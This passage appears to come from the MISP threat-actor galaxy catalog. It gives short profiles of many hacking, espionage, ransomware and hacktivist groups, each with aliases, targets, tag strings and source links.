https://techcommunity.microsoft.com/blog/microsoftsecurityexperts/phish-click-breach-hunting-for-a-sophisticated-cyber-attack/4267916
https://services.google.com/fh/files/misc/m_trends_2023_report.pdf
https://services.google.com/fh/files/misc/m-trends-2024.pdf
https://x.com/Unit42_Intel/status/1880368272610050459
https://medium.com/walmartglobaltech/qbot-is-back-connect-2d774052369f
https://go.crowdstrike.com/rs/281-OBQ-266/images/CrowdStrikeGlobalThreatReport2025.pdf
https://www.crowdstrike.com/adversaries/curly-spider/

Hive0137

Being one of the most active malware distributors, Hive0137 demonstrates a willingness to explore new payloads and technologies such as GenAI. They have quickly moved onto the same level as other high-profile distributors such as TA577, and will likely be responsible for future phishing campaigns, facilitating initial access for ransomware affiliates. Hive0137's combination of intent, capabilities and relationships with other groups presents a direct threat to organizations all over the world. As threat actors pick up the pace and increasingly adopt AI technologies for malicious purposes, it is important that organizations are aware of the most recent threats and their capabilities to maintain a strong security posture.

The tag is: *misp-galaxy:threat-actor="Hive0137"*

Table 18811. Table References

Links
https://securityintelligence.com/x-force/hive0137-on-ai-journey/

UNC4540

UNC4540 is a suspected Chinese threat actor targeting unpatched SonicWall Secure Mobile Access appliances to deploy custom malware that establishes long-term persistence for cyber espionage. The malware is designed to steal hashed credentials, provide shell access, and persist through firmware upgrades, utilizing a variant of the TinyShell backdoor. Mandiant has tracked UNC4540's activities back to 2021, noting their focus on maintaining access to compromised devices. The group's tactics are consistent with patterns observed in other Chinese threat actor campaigns targeting network devices for zero-day exploits.

The tag is: *misp-galaxy:threat-actor="UNC4540"*

Table 18812. Table References

Links
https://www.mandiant.com/resources/blog/suspected-chinese-persist-sonicwall

TIDRONE

TIDRONE is an unidentified threat actor linked to Chinese-speaking groups, with a focus on military-related industry chains, particularly drone manufacturers in Taiwan. The actor employs advanced malware variants such as CXCLNT and CLNTEND, which are distributed through ERP software or remote desktops. The consistency in file compilation times and operational patterns aligns with other Chinese espionage activities, indicating a likely espionage motive.

The tag is: *misp-galaxy:threat-actor="TIDRONE"*

TIDRONE is also known as:

- Earth Ammit
- VENOM

Table 18813. Table References

Links
https://www.trendmicro.com/en_us/research/24/i/tidrone-targets-military-and-satellite-industries-in-taiwan.html
https://www.trendmicro.com/en_us/research/25/e/earth-ammit.html

Actor240524

Actor240524 is a newly identified APT group that targeted Azerbaijani and Israeli diplomats

through spear-phishing emails to steal sensitive data. The group employs a Trojan program known as ABCloader and ABCsync, demonstrating capabilities to steal secrets and modify file data. Their operations appear to focus on undermining the cooperative relationship between Azerbaijan and Israel. Actor240524 utilizes various countermeasures to obscure their attack tactics and techniques.

The tag is: *misp-galaxy:threat-actor="Actor240524"*

Table 18814. Table References

Links
https://nsfocusglobal.com/new-apt-group-actor240524-a-closer-look-at-its-cyber-tactics-against-azerbaijan-and-israel/

ZeroSevenGroup

ZeroSevenGroup is a threat actor that claims to have breached a U.S. branch of Toyota, stealing 240GB of sensitive data, including employee and customer information, contracts, and financial details. They have also allegedly gained full network access to critical Israeli infrastructure, with access to 80TB of sensitive data across various sectors. The group has threatened to use the stolen data for malicious activities, including ransomware attacks. Their operations involve exploiting vulnerabilities, as indicated by their reference to manipulating memory through buffer overflow techniques.

The tag is: *misp-galaxy:threat-actor="ZeroSevenGroup"*

Table 18815. Table References

Links
https://siliconangle.com/2024/08/20/toyota-alleges-stolen-customer-data-published-hacking-site-came-outside-supplier/
https://www.oodaloop.com/briefs/2024/08/21/toyota-customer-employee-data-leaked-in-confirmed-data-breach/

UNC2970

UNC2970 is a North Korean threat actor that primarily targets organizations through spear-phishing emails with job recruitment themes, often utilizing fake LinkedIn accounts to engage victims. The group employs the PLANKWALK backdoor and other malware families, leveraging compromised WordPress sites for command and control. They have been observed using BYOVD techniques to exploit vulnerable drivers for evading detection. Mandiant has noted a shift in UNC2970's targeting strategy, including a focus on security researchers and advancements in their operational capabilities against EDR tools.

The tag is: *misp-galaxy:threat-actor="UNC2970"*

Table 18816. Table References

Links

https://www.mandiant.com/resources/blog/lightshow-north-korea-unc2970

SILKFIN AGENCY

SILKFIN AGENCY has claimed responsibility for multiple significant data breaches, including the compromise of DimeCuba.com, which exposed over 1 million SMS records and more than 100,000 email records. They also targeted the Sri Lankan Department of Agrarian Development, allegedly compromising the personal and agricultural data of over 1.45 million farmers. Additionally, they claimed a breach of the Siam Cement Group's database. The breaches involved sensitive data such as NIC numbers and transaction details.

The tag is: *misp-galaxy:threat-actor="SILKFIN AGENCY"*

Table 18817. Table References

Links
https://dailydarkweb.net/threat-actor-claims-breach-of-siam-cement-group-database/
https://dailydarkweb.net/threat-actor-claimed-to-breach-database-of-dimecuba/
https://dailydarkweb.net/a-threat-actor-alleged-breach-of-sri-lankan-farmers-community-database/

UNC4536

UNC4536 is a threat actor that distributes malware, including ICEDID, REDLINESTEALER, and CARBANAK, primarily through malvertising and trojanized MSIX installers masquerading as popular software. They utilize SEO poisoning tactics to direct victims to malicious sites that mimic legitimate software hosting platforms, facilitating the download of compromised installers. The actor employs a PowerShell script known as NUMOZYLOD to deliver tailored payloads, such as the CARBANAK backdoor, to their partners. Additionally, UNC4536 has been linked to campaigns that distribute NetSupport RAT, targeting IT administrators through fake sites promoted via Google Ads.

The tag is: *misp-galaxy:threat-actor="UNC4536"*

Table 18818. Table References

Links
https://www.googlecloudcommunity.com/gc/Community-Blog/Finding-Malware-Unveiling-NUMOZYLOD-with-Google-Security/ba-p/789551

UAC-0154

UAC-0154 is a threat actor orchestrating the STARK#VORTEX phishing campaign, specifically targeting Ukraine's military. They employ a Microsoft Help file containing obfuscated JavaScript as a lure, disguised as a manual for Pilot-in-Command Drones, to deliver the MerlinAgent malware. This PowerShell-based RAT is heavily obfuscated and downloads a payload from a remote server, enabling full control over compromised systems. The group initially targeted Ukrainian entities using military-themed documents sent via email to @ukr.net addresses.

The tag is: *misp-galaxy:threat-actor="UAC-0154"*

Table 18819. Table References

Links
https://www.securonix.com/blog/securonix-threat-labs-monthly-intelligence-insights-september-2023/

IRLeaks

IRLeaks is a threat actor known for significant cyberattacks targeting Iranian organizations, including a major breach of SnappFood, where they exfiltrated 3TB of sensitive data from 20 million user profiles. They have also compromised data from 23 leading Iranian insurance companies, offering over 160 million records for sale. Their operations involve extortion tactics, as seen in the ransom negotiations with Tosan, and they utilize malware such as StealC for data extraction. IRLeaks communicates primarily in Persian and has been active in selling stolen data on cybercriminal marketplaces.

The tag is: *misp-galaxy:threat-actor="IRLeaks"*

Table 18820. Table References

Links
https://www.hackread.com/iranian-food-delivery-snappfood-cyber-attack/
https://cisoseries.com/cyber-security-headlines-google-5b-suit-settled-orbit-chain-loses-80m-fda-cyber-agreement/
https://www.oodaloop.com/briefs/2024/01/04/pilfered-data-from-iranian-insurance-and-food-delivery-firms-leaked-online/
https://cybershafarat.com/2024/09/04/major-ir-leaks/
https://www.scmagazine.com/brief/significant-ransom-payment-by-major-iranian-it-firm-underway

RaHDit

RaHDit is a pro-Kremlin hacktivist group known for orchestrating hack-and-leak operations, including the publication of personal information about Ukrainian military intelligence personnel and their associates. The group has been linked to Russian intelligence and has claimed to provide actionable intelligence to the Russian army. RaHDit operates a website called NemeZida, where they disclose sensitive data, and has been involved in disinformation campaigns supporting Russian narratives. Their activities include collaboration with other hacktivist groups and targeting Ukrainian cyberdefense efforts.

The tag is: *misp-galaxy:threat-actor="RaHDit"*

RaHDit is also known as:

- Russian Angry Hackers Did It

Table 18821. Table References

Links
https://flashpoint.io/blog/pro-kremlin-hacktivist-groups/
https://news.risky.biz/risky-biz-news-doppelganger-gets-a-kick-in-the-butt-from-uncle-sam/

UAT-5394

UAT-5394 is a state-sponsored North Korean threat actor known for developing the MoonPeak RAT, which is based on XenoRAT. They have transitioned from using QuasarRAT to MoonPeak and have established command and control infrastructure. UAT-5394 employs tactics such as using RDP for remote access and has implemented State Machines in their malware to complicate analysis. Their activity indicates a focus on rapidly evolving their malware and infrastructure to enhance operational capabilities.

The tag is: *misp-galaxy:threat-actor="UAT-5394"*

Table 18822. Table References

Links
https://blog.talosintelligence.com/moonpeak-malware-infrastructure-north-korea/

Storm-1679

Storm-1679 is a Russian disinformation group believed to be a spinoff of the Internet Research Agency, actively engaged in influence operations targeting the International Olympic Committee and the 2024 Olympic Games. The group has employed AI-generated content, including deepfake videos and fabricated narratives about violence, to discredit the IOC and instill fear among potential attendees. Their campaigns have been identified across multiple languages and platforms, utilizing techniques such as impersonation of media outlets and the creation of disinformation websites. Microsoft attributes significant disinformation activities related to the Olympics to Storm-1679, highlighting their focus on spreading falsehoods and promoting anti-Olympics messaging.

The tag is: *misp-galaxy:threat-actor="Storm-1679"*

Table 18823. Table References

Links
https://blogs.microsoft.com/on-the-issues/2024/06/02/russia-cyber-bots-disinformation-2024-paris-olympics/

Fail0verflow

Fail0verflow is a hacking group known for exploiting vulnerabilities in gaming consoles, notably the Nintendo Wii and PlayStation 3. They utilized techniques such as RAM shorting, buffer overflow, and a signing bug to achieve code execution and develop the Homebrew Channel for the Wii. In 2010, they compromised an ECDSA key for the PS3, and later announced the retrieval of PS5

symmetric root keys, enabling the potential for custom firmware and homebrew software. Their exploits often involve kernel access and have raised concerns about the implications for piracy and litigation in the gaming community.

The tag is: *misp-galaxy:threat-actor="Fail0verflow"*

Fail0verflow is also known as:

- Team Twiizer

Table 18824. Table References

Links
https://blog.0x7d0.dev/history/how-the-nintendo-wii-security-was-defeated/
https://arstechnica.com/gaming/2021/11/uncovered-ps5-encryption-keys-are-the-first-step-to-unlocking-the-console/
https://malware.news/t/playstation-5-hacked-twice/54441/1

UTG-Q-010

UTG-Q-010 is a financially motivated APT group from East Asia that has been active since late 2022, primarily targeting the pharmaceutical industry and cryptocurrency enthusiasts. They exploit legitimate Windows processes, such as "WerFault.exe," to sideload malicious DLLs like "faultrep.dll" and employ sophisticated phishing campaigns to deliver malware disguised as enticing content. Their recent campaigns have involved the use of the Pupy RAT and advanced defense evasion techniques, including in-memory execution and reflective DLL loading. UTG-Q-010's strategic focus on HR departments and the cryptocurrency sector highlights their understanding of target vulnerabilities and their ability to evade detection.

The tag is: *misp-galaxy:threat-actor="UTG-Q-010"*

Table 18825. Table References

Links
https://cyble.com/blog/analysing-the-utg-q-010-campaign/

HikkI-Chan

Hikki-Chan has claimed responsibility for multiple significant data breaches, including the theft of data from 390.4 million users of VKontakte, which included sensitive personal information. The actor has also targeted Strong Current Enterprises and disclosed a breach involving the Israeli Ministry of Welfare and Social Affairs, leaking over 457,000 records. Additionally, Hikki-Chan is attributed with a breach of the Florida Office of Financial Regulation, exposing tens of thousands of records across various industries.

The tag is: *misp-galaxy:threat-actor="HikkI-Chan"*

Table 18826. Table References

Links
https://hackread.com/hacker-leaks-data-of-vk-users-russian-social-network/
https://dailydarkweb.net/sensitive-israeli-ministry-data-allegedly-leaked-on-dark-web/

Earth Baxia

Earth Baxia is a threat actor opearting out of China, targeting government organizations in Taiwan and potentially across the APAC region, using spear-phishing emails and exploiting the GeoServer vulnerability CVE-2024-36401 for remote code execution, deploying customized Cobalt Strike components with altered signatures, leveraging GrimResource and AppDomainManager injection techniques to deliver additional payloads, and utilizing a new backdoor named EAGLEDOOR for multi-protocol communication and payload delivery.

The tag is: *misp-galaxy:threat-actor="Earth Baxia"*

Table 18827. Table References

Links
https://www.tgsoft.it/news/news_archivio.asp?id=1568
https://jp.security.ntt/tech_blog/appdomainmanager-injection
https://www.trendmicro.com/en_us/research/24/i/earth-baxia-spear-phishing-and-geoserver-exploit.html
https://www.trendmicro.com/content/dam/trendmicro/global/en/research/24/i/earth-baxia-uses-spear-phishing-and-geoserver-exploit-to-target-apac/IOCs%20-%20Earth%20Baxia%20Uses%20Spear-Phishing%20and%20GeoServer%20Exploit%20to%20Target%20APAC.txt

SloppyLemming

SloppyLemming is an advanced actor that uses multiple cloud service providers to facilitate different aspects of their activities, such as credential harvesting, malware delivery and command and control (C2). This actor conducts extensive operations targeting Pakistani, Sri Lanka, Bangladesh, and China. Industries targeted include government, law enforcement, energy, telecommunications, and technology entitie

The tag is: *misp-galaxy:threat-actor="SloppyLemming"*

View relationships graph

SloppyLemming has relationships with:

- similar: misp-galaxy:threat-actor="Fishing Elephant" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:tool="Cobalt Strike" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:ransomware="Havoc" with estimative-language:likelihood-

probability="likely"

- targets: misp-galaxy:region="142 - Asia" with estimative-language:likelihood-probability="likely"
- targets: misp-galaxy:country="pakistan" with estimative-language:likelihood-probability="likely"
- targets: misp-galaxy:country="bangladesh" with estimative-language:likelihood-probability="likely"
- targets: misp-galaxy:country="indonesia" with estimative-language:likelihood-probability="likely"
- targets: misp-galaxy:country="sri lanka" with estimative-language:likelihood-probability="likely"
- targets: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"
- targets: misp-galaxy:country="nepal" with estimative-language:likelihood-probability="likely"
- targets: misp-galaxy:sector="Government, Administration" with estimative-language:likelihood-probability="likely"

Table 18828. Table References

Links
https://blog.cloudflare.com/unraveling-sloppylemming-operations/

Storm-0494

Storm-0494 is a threat actor that facilitates Gootloader infections, which are then exploited by groups like Vice Society to deploy tools such as the Supper backdoor, AnyDesk, and MEGA. They utilize RDP for lateral movement and employ the WMI Provider Host to deploy the INC ransomware payload. Microsoft has identified their activities as part of a campaign targeting the U.S. health sector. Their operations are characterized by financially motivated tactics.

The tag is: *misp-galaxy:threat-actor="Storm-0494"*

Table 18829. Table References

Links
https://cisoseries.com/cybersecurity-news-inc-targets-healthcare-providence-schools-cyberattack-apple-ipads-bricked/
https://x.com/MsftSecIntel/status/1836456406276342215

DragonRank

DragonRank is a threat actor primarily targeting web application services in Asia and Europe, utilizing TTPs associated with Simplified Chinese-speaking hacking groups. They exploit vulnerabilities in platforms like phpMyAdmin and WordPress to deploy web shells, enabling the installation of PlugX and BadIIS malware for black hat SEO practices. Their operations involve lateral movement within compromised networks to maintain control and elevate privileges, while

also engaging in unethical online marketing strategies. DragonRank's activities include manipulating search engine rankings and distributing scam websites through compromised Windows IIS servers.

The tag is: *misp-galaxy:threat-actor="DragonRank"*

Table 18830. Table References

Links
https://blog.talosintelligence.com/dragon-rank-seo-poisoning/

VICE SPIDER

Vice Spider is a Russian-speaking ransomware group that has been active since at least April 2021 and is linked to a significant increase in identity-based attacks, with a reported 583% rise in Kerberoasting incidents. CrowdStrike attributes 27% of these intrusions specifically to Vice Spider, which exploits vulnerabilities in the Kerberos authentication protocol to crack user passwords.

The tag is: *misp-galaxy:threat-actor="VICE SPIDER"*

View relationships graph

VICE SPIDER has relationships with:

- similar: misp-galaxy:threat-actor="VICE SPIDER" with estimative-language:likelihood-probability="likely"

Table 18831. Table References

Links
https://www.techtarget.com/searchsecurity/news/366547445/CrowdStrike-observes-massive-spike-in-identity-based-attacks

AzzaSec

AzzaSec is a hacktivist group that originated in Italy. Known for their pro-Palestine stance, they have been involved in various cyberattacks targeting Israel and pro-Israel countries. Additionally, AzzaSec has engaged in ransomware activities and has been known to collaborate with other cybercriminal groups.

The tag is: *misp-galaxy:threat-actor="AzzaSec"*

Table 18832. Table References

Links
https://socradar.io/dark-peep-16-play-ransomware-lockbits-alliance-breachforums-leak-and-cyberniggers-revival/
https://thecyberexpress.com/azzasec-noname-join-hands-to-target-ukriane/

Handala

Handala is a pro-Palestinian hacktivist group that targets Israeli organizations, employing tactics such as phishing, data theft, extortion, and destructive attacks using custom wiper malware. The group utilizes a multi-stage loading process, including a Delphi-coded second-stage loader and an AutoIT injector, to deliver wiper malware that specifically targets Windows and Linux environments. Their phishing campaigns often exploit major events and critical vulnerabilities, masquerading as legitimate organizations to gain initial access. Handala operates a data leak site to publicize stolen data, although claims of successful attacks are sometimes disputed by targeted organizations.

The tag is: *misp-galaxy:threat-actor="Handala"*

Table 18833. Table References

Links
https://www.splunk.com/en_us/blog/security/handalas-wiper-threat-analysis-and-detections.html
https://www.trellix.com/blogs/research/handalas-wiper-targets-israel/
https://intezer.com/blog/research/stealth-wiper-israeli-infrastructure/

Storm-0501

Storm-0501 is a financially motivated cybercriminal group that has been active since 2021, initially targeting US school districts with the Sabbath ransomware and later transitioning to a RaaS model deploying various ransomware strains, including Embargo. The group exploits weak credentials and over-privileged accounts to achieve lateral movement from on-premises environments to cloud infrastructures, establishing persistent backdoor access and deploying ransomware. They have utilized techniques such as credential theft, exploiting vulnerabilities in Zoho ManageEngine and Citrix NetScaler, and employing tools like Cobalt Strike and Rclone for lateral movement and data exfiltration. Storm-0501 has specifically targeted sectors such as government, manufacturing, transportation, and law enforcement in the United States.

The tag is: *misp-galaxy:threat-actor="Storm-0501"*

Table 18834. Table References

Links
https://www.microsoft.com/en-us/security/blog/2024/09/26/storm-0501-ransomware-attacks-expanding-to-hybrid-cloud-environments/

CosmicBeetle

CosmicBeetle is a threat actor known for deploying the ScRansom ransomware, which has replaced its previous variant, Scarab. The actor utilizes a custom toolset called Spacecolon, consisting of ScHackTool, ScInstaller, and ScService, to gain initial access through RDP brute forcing and exploiting vulnerabilities like CVE-2020-1472 and FortiOS SSL-VPN. CosmicBeetle has been observed impersonating the LockBit ransomware gang to leverage its reputation and has shown a tendency

to leave artifacts on compromised systems. The group primarily targets SMBs globally, employing techniques such as credential dumping and data destruction.

The tag is: *misp-galaxy:threat-actor="CosmicBeetle"*

Table 18835. Table References

Links
https://www.welivesecurity.com/en/eset-research/cosmicbeetle-steps-up-probation-period-ransomhub/

UNC1860

UNC1860 is a persistent and opportunistic Iranian state-sponsored threat actor that is likely affiliated with Iran's Ministry of Intelligence and Security (MOIS). A key feature of UNC1860 is its collection of specialized tooling and passive backdoors that Mandiant believes supports several objectives, including its role as a probable initial access provider and its ability to gain persistent access to high-priority networks, such as those in the government and telecommunications space throughout the Middle East.

The tag is: *misp-galaxy:threat-actor="UNC1860"*

Table 18836. Table References

Links
https://cloud.google.com/blog/topics/threat-intelligence/unc1860-iran-middle-eastern-networks

SkidSec

SkidSec is a threat group that has engaged in operations targeting exposed printers in South Korea to disseminate North Korean propaganda, utilizing techniques such as printer exploitation and social engineering for evidence collection. The group has also experienced a leadership change following the loss of their leader, Govadmin, while continuing to mobilize their followers for various missions. They have humorously solicited financial support for their activities, framing it as a means to support their cause. Additionally, they have been noted for their potential to leak sensitive information from compromised devices.

The tag is: *misp-galaxy:threat-actor="SkidSec"*

SkidSec is also known as:

- SkidSec Leaks

Table 18837. Table References

Links
https://socradar.io/dark-peep-7-shadows-of-betrayal-and-leadership-in-flux/
https://medium.com/@criminalip/skidsec-hacker-group-announces-plans-to-spread-north-korean-propaganda-through-hacked-printers-in-fdd314178dc4

Awaken Likho

Awaken Likho is an APT group that has targeted Russian government agencies and industrial enterprises, employing techniques such as information gathering via search engines and using MeshCentral for remote access. The group has been active since at least December 2021 and has ramped up its activities following the Russo-Ukrainian conflict. Recent reports indicate that they are focusing on espionage against critical infrastructure in the defense and energy sectors. Analysis of their malware reveals a new version that is still in development, suggesting ongoing operational capabilities.

The tag is: *misp-galaxy:threat-actor="Awaken Likho"*

Awaken Likho is also known as:

- Core Werewolf

Table 18838. Table References

Links
https://securelist.com/awaken-likho-apt-new-implant-campaign/114101/
https://bi.zone/eng/expertise/blog/core-werewolf-protiv-opk-i-kriticheskoy-infrastruktury/

CeranaKeeper

CeranaKeeper is a China-aligned APT that has been active since at least early 2022, primarily targeting governmental institutions in Asian countries. The group employs custom backdoors like TONESHELL and OneDoor, leveraging cloud services such as Dropbox and OneDrive for data exfiltration. CeranaKeeper utilizes techniques like side-loading, brute-force attacks, and the deployment of BAT scripts to extend its reach within compromised networks. Their operations are characterized by a relentless pursuit of sensitive data, adapting their toolset and methods to evade detection.

The tag is: *misp-galaxy:threat-actor="CeranaKeeper"*

Table 18839. Table References

Links
https://www.welivesecurity.com/en/eset-research/separating-bee-panda-ceranakeeper-making-beeline-thailand/

SongXY

SongXY is a Chinese APT group that employs phishing tactics to initiate cyberespionage campaigns. They utilize the Royal Road RTF builder, exploiting the CVE-2018-0798 vulnerability in Microsoft Equation Editor. In one instance, they sent a document containing a link to an attacker-controlled server, which automatically triggered upon opening, allowing them to gather information about the target’s system configuration.

The tag is: *misp-galaxy:threat-actor="SongXY"*

Table 18840. Table References

Links
https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/covid-19-and-new-year-greetings-the-higaisa-group/
http://www.ptsecurity.com/upload/corporate/ww-en/analytics/APT-Attacks-eng.pdf

TaskMasters

TaskMasters is a state-sponsored Chinese APT that has been active since at least 2010, primarily targeting industrial, energy, and government sectors in Russia and the CIS. The group has been linked to the Webdav-O Trojan, which employs techniques to bypass network defenses by connecting to legitimate services. Investigations suggest that TaskMasters may have been involved in attacks against Russian federal executive authorities in 2020, potentially alongside another Chinese group, TA428. Additionally, the group has been associated with the BackDoor.RemShell.24 malware, indicating a diverse toolkit in their operations.

The tag is: *misp-galaxy:threat-actor="TaskMasters"*

TaskMasters is also known as:

- BlueTraveller

Table 18841. Table References

Links
https://www.group-ib.com/blog/task/
https://decoded.avast.io/luigicamastra/apt-group-targeting-governmental-agencies-in-east-asia/?utm_source=rss&utm_medium=rss&utm_campaign=apt-group-targeting-governmental-agencies-in-east-asia

Anonymous64

Anonymous 64 is a group accused by China's national security ministry of attempting to gain control of web portals, outdoor electronic screens, and network television. The Ministry of State Security claims that Anonymous 64 is linked to a cyber unit within Taiwan's defense ministry and identifies three active-duty military personnel as its members. The MSS alleges that the group is involved in an influence operation within China, using hacktivism as a cover. The accusations suggest that Anonymous 64 engages in sabotage activities, prompting authorities to call for public reporting of such actions.

The tag is: *misp-galaxy:threat-actor="Anonymous64"*

Anonymous64 is also known as:

- Anonymous 64

Table 18842. Table References

Links
https://www.theregister.com/2024/09/25/china_anonymous_64_taiwan_accusations/

Asnarök

Asnarök is a threat actor that exploited CVE-2020-12271 and utilized command injection privilege escalation to gain root access to devices and install the Asnarök Trojan and demonstrated significant changes in TTPs, including the deployment of a web shell that did not reach out to external C2 for commands. X-Ops identified a patient-zero device linked to the attack and observed the use of an IC.sh script that stole local user account data. The actor's activities were linked to a broader pattern of malicious exploit research and targeted vulnerabilities disclosed by bug bounty researchers.

The tag is: *misp-galaxy:threat-actor="Asnarök"*

Asnarök is also known as:

- Personal Panda

Table 18843. Table References

Links
https://news.sophos.com/en-us/2024/10/31/pacific-rim-neutralizing-china-based-threat/
https://news.sophos.com/en-us/2024/10/31/pacific-rim-timeline/

Shahid Hemmat

Shahid Hemmat is an IRGC-CEC affiliated hacking group linked to cyberattacks targeting U.S. critical infrastructure, including the defense industry and international transportation sectors. The group has been implicated in the hack of a booster station at the Municipal Water Authority in Aliquippa, Pennsylvania, which disrupted drinking water supply. Key figures within Shahid Hemmat include Manouchehr Akbari, Amir Hossein Hoseini, Mohammad Hossein Moradi, and Mohammad Reza Rafatnejad. The U.S. government is offering a $10 million reward for information on these individuals.

The tag is: *misp-galaxy:threat-actor="Shahid Hemmat"*

Table 18844. Table References

Links
https://securityonline.info/shahid-hemmat-hackers-10m-reward-offered-by-us/
https://www.bitdefender.com/en-us/blog/hotforsecurity/us-offers-10-million-bounty-for-members-of-iranian-hacking-gang/

RipperSec

RipperSec is a pro-Palestinian, likely Malaysian hacktivist group created in June 2023, known for conducting DDoS attacks, data breaches, and defacements primarily targeting government and educational websites, as well as organizations perceived to support Israel. The group has claimed 196 DDoS attacks, with a significant portion directed at Israel, and utilizes a tool called MegaMedusa for their operations. RipperSec operates on Telegram, where it has amassed over 2,000 members, and collaborates with various like-minded hacktivist groups. Their attack strategy relies heavily on community involvement rather than sophisticated infrastructure.

The tag is: *misp-galaxy:threat-actor="RipperSec"*

Table 18845. Table References

Links
https://blog.checkpoint.com/security/hacktivists-call-for-release-of-telegram-founder-with-freedurov-ddos-campaign/
https://www.radware.com/blog/security/2024/08/megamedusa-rippersec-public-web-ddos-attack-tool/
https://www.cyjax.com/the-hacktivist-response-to-uk-foreign-policy/

LulzSec Black

LulzSec Black is a hacktivist group that has claimed responsibility for coordinated DDoS attacks against Cyprus' government and critical infrastructure in response to the country’s support for Israel. They have also announced cyberattacks targeting the UAE, including breaches of a government website and Alfa Electronics, asserting these actions are in support of Palestine. The group has indicated intentions for further attacks and has not provided independently verifiable evidence of their claims. Their operations reflect a focus on disrupting services and compromising data as part of their political agenda.

The tag is: *misp-galaxy:threat-actor="LulzSec Black"*

Table 18846. Table References

Links
https://dailydarkweb.net/lulzsec-black-claims-cyberattacks-on-emirati-government-and-other-sector-targets/

OverFlame

OverFlame is a hacktivist group known for executing DDoS attacks and website defacements, primarily targeting government institutions and corporations in Europe and North America. The group has been involved in coordinated attacks alongside other pro-Russian threat actors, such as NoName057and the People’s Cyber Army, often motivated by anti-government and anti-corporate sentiments. OverFlame operates through underground forums and encrypted messaging platforms to coordinate attacks and recruit members. Their activities have included targeting financial

services, political parties, and educational institutions, demonstrating a focus on disrupting critical infrastructure.

The tag is: *misp-galaxy:threat-actor="OverFlame"*

Table 18847. Table References

Links
https://socradar.io/biggest-education-industry-attacks-in-2024/
https://www.scworld.com/brief/austria-subjected-to-pro-russian-ddos-intrusions

UNC5820

UNC5820 is a threat actor exploiting the CVE-2024-47575 vulnerability in Fortinet's FortiManager, allowing them to bypass authentication and execute arbitrary commands. They have been observed exfiltrating configuration data, user information, and FortiOS256-hashed passwords from managed FortiGate devices. While the actor has staged and exfiltrated sensitive data, there is currently no evidence of lateral movement or further compromise of additional environments. Mandiant has not determined whether UNC5820 is state-sponsored or identified its geographic location.

The tag is: *misp-galaxy:threat-actor="UNC5820"*

Table 18848. Table References

Links
https://cloud.google.com/blog/topics/threat-intelligence/fortimanager-zero-day-exploitation-cve-2024-47575/

Water Makara

Water Makara employs the Astaroth banking malware, which features a new defense evasion technique. Their spear phishing campaigns exploit human error by targeting users to click on malicious files. To mitigate these threats, organizations should implement regular security training, enforce strong password policies, utilize multifactor authentication (MFA), keep security solutions updated, and apply the principle of least privilege.

The tag is: *misp-galaxy:threat-actor="Water Makara"*

Table 18849. Table References

Links
https://www.trendmicro.com/en_us/research/24/j/water-makara-uses-obfuscated-javascript-in-spear-phishing-campai.html

UAC-0215

UAC-0215 is an APT group that has orchestrated a phishing campaign targeting public institutions,

major industries, and military units in Ukraine, utilizing rogue RDP files to gain unauthorized access. The malicious emails are designed to appear legitimate, enticing recipients to open attachments that connect their systems to the attacker's server, allowing extensive access to local resources. CERT-UA has identified this activity as high-risk and has advised organizations to block RDP files at mail gateways and restrict RDP connection capabilities. The campaign's geographical footprint suggests a potential for broader cyberattacks beyond Ukraine.

The tag is: *misp-galaxy:threat-actor="UAC-0215"*

Table 18850. Table References

Links
https://cyble.com/blog/phishing-campaign-targeting-ukraine-uac-0215/
https://cert.gov.ua/article/6281076

IcePeony

IcePeony is a China-nexus APT group that has been active since at least 2023, targeting government agencies, academic institutions, and political organizations in countries such as India, Mauritius, and Vietnam. They primarily employ SQL injection techniques to exploit vulnerabilities in publicly accessible web servers, subsequently installing web shells or executing malware like IceCache to facilitate credential theft. IcePeony operates under harsh work conditions, potentially adhering to the 996 working hour system, and shows a particular interest in the governments of Indian Ocean countries. Their activities suggest alignment with China's national interests, possibly related to maritime strategy.

The tag is: *misp-galaxy:threat-actor="IcePeony"*

Table 18851. Table References

Links
https://nao-sec.org/2024/10/IcePeony-with-the-996-work-culture.html

DarkRaaS

DarkRaaS is a threat actor specializing in selling unauthorized access to various organizations' systems and networks across multiple countries, with a recent focus on targets in Israel, UAE, Turkey, and South America 4 9 20. The group has been operating for at least six years and typically offers access to sensitive data, internal systems, and infrastructure, with prices ranging up to $25,000 for VPN access 4 9. Their targets span various sectors including government institutions, educational facilities, oil and gas companies, and IT organizations, often claiming to have access to multiple terabytes of sensitive data 7 19.

The tag is: *misp-galaxy:threat-actor="DarkRaaS"*

Table 18852. Table References

Links

https://cyberpress.org/darkraas-ransomware-oil-gas-company/
https://cyberpress.org/darkraas-ransomware-intelligence-data/
https://dailydarkweb.net/darkraas-allegedly-breached-a-major-oil-and-gas-company/

Blackmeta

BLACKMETA is a pro-Palestinian hacktivist group that has claimed responsibility for a series of DDoS attacks and data breaches targeting organizations perceived as supportive of Israel, including the Internet Archive and various entities in the UAE and Saudi Arabia. The group employs DDoS attacks, website defacement, and data exfiltration, with motivations rooted in political ideology and retribution for perceived injustices against Palestinians. Their operations have been linked to a Telegram channel, where they publicize their activities and collaborate with other hacktivist groups. Additionally, they have been attributed to significant cyber disruptions, including a 100-hour DDoS campaign against a UAE bank, showcasing their operational capabilities.

The tag is: *misp-galaxy:threat-actor="Blackmeta"*

Blackmeta is also known as:

- SN Blackmeta

Table 18853. Table References

Links
https://thecyberexpress.com/sn-blackmeta-claim-snapchat-cyberattack/
https://www.radware.com/security/threat-advisories-and-attack-reports/six-day-web-ddos-attack-campaign/
https://securityboulevard.com/?p=2033037
https://socradar.io/internet-archive-data-breach-and-ddos-attacks/

Operation Cobalt Whisper

The tag is: *misp-galaxy:threat-actor="Operation Cobalt Whisper"*

View relationships graph

Operation Cobalt Whisper has relationships with:

- targets: misp-galaxy:target-information="Hong Kong" with estimative-language:likelihood-probability="likely"
- targets: misp-galaxy:country="hong kong" with estimative-language:likelihood-probability="likely"
- targets: misp-galaxy:sector="Defense" with estimative-language:likelihood-probability="likely"
- targets: misp-galaxy:country="pakistan" with estimative-language:likelihood-probability="likely"

- targets: misp-galaxy:sector="Energy" with estimative-language:likelihood-probability="likely"
- targets: misp-galaxy:sector="Civil Aviation" with estimative-language:likelihood-probability="likely"
- targets: misp-galaxy:sector="Electric" with estimative-language:likelihood-probability="likely"
- targets: misp-galaxy:sector="Electronic" with estimative-language:likelihood-probability="likely"
